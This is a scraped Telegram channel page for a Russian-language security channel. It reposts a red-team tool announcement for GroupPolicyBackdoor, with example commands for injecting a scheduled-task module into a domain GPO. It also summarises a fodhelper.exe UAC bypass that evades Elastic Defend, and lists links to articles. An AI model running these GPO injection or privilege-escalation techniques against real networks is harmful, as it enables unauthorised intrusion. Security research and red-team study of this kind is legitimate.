Fsecurity | HH

الذهاب إلى القناة على Telegram

Канал про ИБ Наш Discord: https://discord.gg/Eg8aDS7Hn7 Пожертвовать: > https://www.donationalerts.com/r/xackapb

2 018

المشتركون

-224 ساعات

+17 أيام

-1430 أيام

118

عرض المشاهدات

~ 6724 ساعات

~ 8148 ساعات

5.85%

معدل المشاركة

~ 3

المشاركات في اليوم

Ads index

beta

أرشيف المشاركات

2 018

Repost from Whitehat Lab

💻 GroupPolicyBackdoor Инструмент пост эксплуатации для различных манипуляций с GPO. Написан на 😰 Python Впервые представлена на DEFCON 33 Примеры:

#backup
python3 gpb.py restore backup -d 'corp.com' -o './my_backups' --dc ad01-dc.corp.com -u 'john' -p 'Password1!' -n 'TARGET_GPO'

#inject
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'

Пример ini:

[MODULECONFIG]
name = Scheduled Tasks
type = computer

[MODULEOPTIONS]
task_type = immediate
program = cmd.exe
arguments = /c "whoami > C:\Temp\poc.txt"

[MODULEFILTERS]
filters =
    [{
        "operator": "AND",
        "type": "Computer Name",
        "value": "ad01-srv1.corp.com"
    }]

GPO creation, deletion, backup and injections Various injectable configurations, with, for each, customizable options (see list in the wiki) Possibility to remove injected configurations from the target GPO Possibility to revert the actions performed on client devices GPO links manipulation GPO enumeration / user privileges enumeration on GPOs

💻 Repo 📔 Docs #gpo #redteam #windows ✈️ Whitehat Lab 💬Chat

2 018

🔗Ссылка: https://www.ptsecurity.com/ru-ru/research/analytics/trendy-v-razvitii-vredonosnogo-po-i-ego-rol-v-kiberatakah/

2 018

🔗Ссылка: https://telegra.ph/OSCP-08-24

2 018

🔗Ссылка: https://habr.com/ru/articles/924814/

2 018

🔗Ссылка: https://securitymedia.org/news/microsoft-preduprezhdaet-ob-opasnoy-uyazvimosti-exchange.html

2 018

Repost from Whitehat Lab

💻 Elastic Defend Bypass: UAC Bypass Chain Leading To Silent Elevation

A chained technique has been identified that allows a local, unprivileged attacker to achieve silent privilege escalation to administrator by bypassing protections enforced by Elastic Defend v9.0.4. The method leverages a trusted auto-elevated Windows binary (fodhelper.exe) in conjunction with a registry hijack and COM object execution, resulting in arbitrary code execution at elevated privileges - without triggering a UAC prompt or EDR detection

🔗 UAC Bypass 💻 Presentation #uac #bypass #windows #lpe ✈️ Whitehat Lab 💬Chat